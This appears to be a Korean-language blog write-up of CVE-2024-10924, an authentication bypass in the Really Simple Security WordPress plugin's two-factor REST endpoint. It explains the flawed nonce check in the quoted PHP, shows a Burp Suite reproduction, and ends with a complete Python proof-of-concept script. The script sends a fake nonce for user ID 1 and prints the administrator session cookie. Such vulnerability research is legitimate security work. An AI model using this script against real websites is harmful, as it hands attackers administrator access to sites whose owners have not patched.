Post

[CVE-2024-10924] 취약점 분석 보고서

Really Simple Security plugin 9.0.0 ~ 9.1.1.1 버전에서 발생하는 인증 우회 취약점

개요

Really Simple plugin 9.0.0 ~ 9.1.1.1버전에서 발생하는 인증 우회 취약점이다.

이 문제는 2단계 인증이 활성화되어 있는 경우 인증되지 않은 공격자가 임의 계정으로 로그인할 수 있다.

분석

이 취약점은 2단계 인증을 활성화한 사이트에게만 영향을 미친다.

2단계 인증 REST API 작업에서 사용되는 ‘check_login_and_get_user’ 함수에서 부적절한 검증 오류로 발생한다.

really-simple-ssl\security\wordpress\two-fa\class-rsssl-two-factor-on-board-api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
	/**
	 * Skips the onboarding process for the user.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 *
	 * @return WP_REST_Response The REST response object.
	 */
	public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
		$parameters = new Rsssl_Request_Parameters( $request );
		// As a double we check the user_id with the login nonce.
		$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
		return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
	}

Rsssl_Two_Factor_On_Board_Api 클래스 내의 skip_onboarding 함수를 사용하여 REST API를 통한 인증을 처리하고 있다.

check_login_and_get_user함수로 user_id와 login_nonce 매개변수를 사용하여 사용자를 검증한다.

really-simple-ssl\security\wordpress\two-fa\class-rsssl-two-factor-on-board-api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
	/**
	 * Verifies a login nonce, gets user by the user id, and returns an error response if any steps fail.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $login_nonce The login nonce.
	 *
	 * @return WP_User|WP_REST_Response
	 */
	private function check_login_and_get_user( int $user_id, string $login_nonce ) {
		if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
			return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
		}

		/**
		 * Get the user by the user ID.
		 *
		 * @var WP_User $user
		 */
		$user = get_user_by( 'id', $user_id );
		return $user;
	}

취약점은 skip_onboarding 함수에서 발생한다. check_login_and_get_user함수에서 잘못된 nonce 값을 전달할 경우 WP_REST_Response 오류를 반환하지만, 반환된 후에 skip_onboarding 함수 내에서 오류를 적절하게 처리하지 않아 유효하지 않은 nonce의 경우에도 함수 처리가 계속되어, 요청에서 전달된 사용자 ID를 기반으로 사용자를 인증하는 authenticate_and_redirect() 를 호출한다. 이 과정에서 사용자의 신원이 검증되지 않았음에도 불구하고 인증이 이루어진다. 결국 공격자는 인증을 우회해 임의의 계정에 접근할 수 있다.

Exploit

image.png

취약한 Really simple plugin을 설치하고 Security 탭 Settings로 들어가준다.

image.png

image.png

Login Protection 에서 “Enable Two-Factor Authentication”을 활성화 시켜주고, 그 밑에서 이메일 인증도 활성화 시켜준다.

image.png

계정 정보를 입력하고, burp suite로 패킷을 캡처한다.

image.png

그리고 skip_onboarding 함수에 잘못된 nonce값을 보내면 user_id에 대한 쿠키를 반환한다.

image.png

해당 쿠키를 복사해 아까 첫 번째로 캡처한 패킷에 쿠키를 붙여넣는다.

이 상태로 요청을 보내면 2단계 인증을 우회해 로그인이 된다.

image.png

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
import requests
import argparse
import logging

def get_cookie(url):
    logging.basicConfig(level=logging.DEBUG)
    user_id = 1
    endpoint = f"{url}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
    
    print(f"request url: {endpoint}")
    
    headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
    }
    
    body = {
            "user_id": int(user_id),
            "login_nonce": "133333337",
            "redirect_to": "/wp-admin/"
    }

    logging.debug(f"Body: {body}")
    
    try:
        res = requests.post(endpoint, headers=headers, json=body, verify=False)
        logging.info(f"status_code: {res.status_code}")
    
    except Exception as e:
        logging.fatal("Error contact to target url")
        return

    logging.info(f"Cookie: {res.headers["Set-Cookie"]}")

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-10924')

    parser.add_argument("-t", "--targeturl", help='[targeturl]', required=True)

    args = parser.parse_args()
    get_cookie(args.targeturl)

if __name__=="__main__":
    main()

image.png

This post is licensed under CC BY 4.0 by the author.